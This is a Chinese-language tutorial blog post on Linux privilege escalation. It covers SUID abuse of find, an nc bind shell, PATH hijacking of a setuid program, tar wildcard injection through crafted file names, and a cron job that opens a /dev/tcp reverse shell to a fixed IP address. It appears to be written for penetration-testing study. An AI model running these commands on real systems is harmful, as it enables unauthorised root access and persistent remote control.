权限提升Linux篇

提权工具

https://github.com/liamg/traitor
https://github.com/AlessandroZ/BeRoot
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/jondonas/linux-exploit-suggester-2

SUID提权

提权命令网站:GTFOBins

漏洞原因:

chmod u+s增加suid  chmod u-s减少suid

 在程序运行的时候,经常需要给程序以高权限,类似于Windows里的以管理员身份运行,通过上面的命令增加SUID,使普通用户可以以root用户的身份运行程序

查找SUID权限命令

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

权限提升Linux篇_第1张图片

权限提升Linux篇_第2张图片

 SUID具有高权限,可以用root身份执行命令

find / -user root -perm -4000 -exec ls -ldb {} \;

 现在尝试用SUID提权,使用上面的SUID提权网站

权限提升Linux篇_第3张图片

 sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit

权限提升Linux篇_第4张图片可以看到,成功通过SUID得到root权限 

但是前面的提权是有一个问题的,因为这些提权步骤都是我使用自己的云服务完成的,真实情况我们不能看到回显,所以需要用到反弹shell

控制受害者主机开启nc监听7777端口并绑定/bin/sh,注意开启防火墙端口

find yc -exec nc -lvp 7777 -e /bin/sh \;

权限提升Linux篇_第5张图片

攻击者连接受害者主机

nc 43.139.79.52 7777

 可以看到11,成功通过反弹shell获取了权限,当我们第一次用whoami查看自身身份的时候,会发现身份是普通用户,这时候再用前面的提权命令即可拿到root权限,我这里使用nc进行反弹shell,如果没有nc环境可以尝试其他反弹shell命令,根据具体情况而定

权限提升Linux篇_第6张图片

 我们前面使用SUID提权的时候,其实很多命令都有SUID权限,但是为什么只有find等命令才可以作为提权命令呢,这是由这些命令的功能决定的,如果find没有exec这个参数,那他也不能用来提权,就比如拥有管理员权限的ping命令,但是可以用来提权吗,显然不能

环境变量提权

管理员编译了程序,给予程序管理员运行的权限,攻击者通过提供对程序的运行调试反编译获得程序运行逻辑,对程序调用的环境变量进行覆盖,从而继承程序的权限

比如现在有一个程序test.c,会执行find命令,自带环境变量/usr/bin/bash,如果我们把bash命令复制到当前目录取名find,那么可能调用的程序就会由find命令变为bash命令

test.c


#include
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

vim test.c

cdd /tmp

gcc test.c

gcc test.c -o shell

chmod u+s shell

cp /bin/bash /tmp/find

 export PATH=/tmp:$PATH

./shell

实战步骤:

查看SUID权限,查看管理员创建的命令

反编译获得源代码 ,就是前面的.c文件

覆盖变量,cp /bin/bash /tmp/find,export PATH=/tmp:$PATH

这里还遇到一个问题,普通用户竟然没有权限在/tmp创建文件,最后完成提权,但是感觉此提权方法太困难,比较鸡肋

计划任务提权

在Linux中,经常会用到计时任务,比如每天自动打包当天的日志文件

查看计时任务命令

cat /etc/crontab 

权限提升Linux篇_第7张图片

写一个计划任务实现将每天的文件打包

echo "0 0 * * * tar -czf /data/archive/archive.tar.gz /tmp">/etc/crontab

如果黑客发现有这样一个计划任务,他就可以通过计划任务来提权

echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh
chmod +x test.sh
./bash -p

 计划任务也可以用来在后渗透中,写一个计划任务每隔一段时间发起反弹shell

 echo "* * * * * root bash -i >& /dev/tcp/43.139.79.52/7777 0>&1">/etc/crontab

权限提升Linux篇_第8张图片 

 

内核提权

CVE-2016-5195 DirtyCow 脏牛提权

CVE-2022-0847 脏管道提权

你可能感兴趣的:(linux,运维,服务器)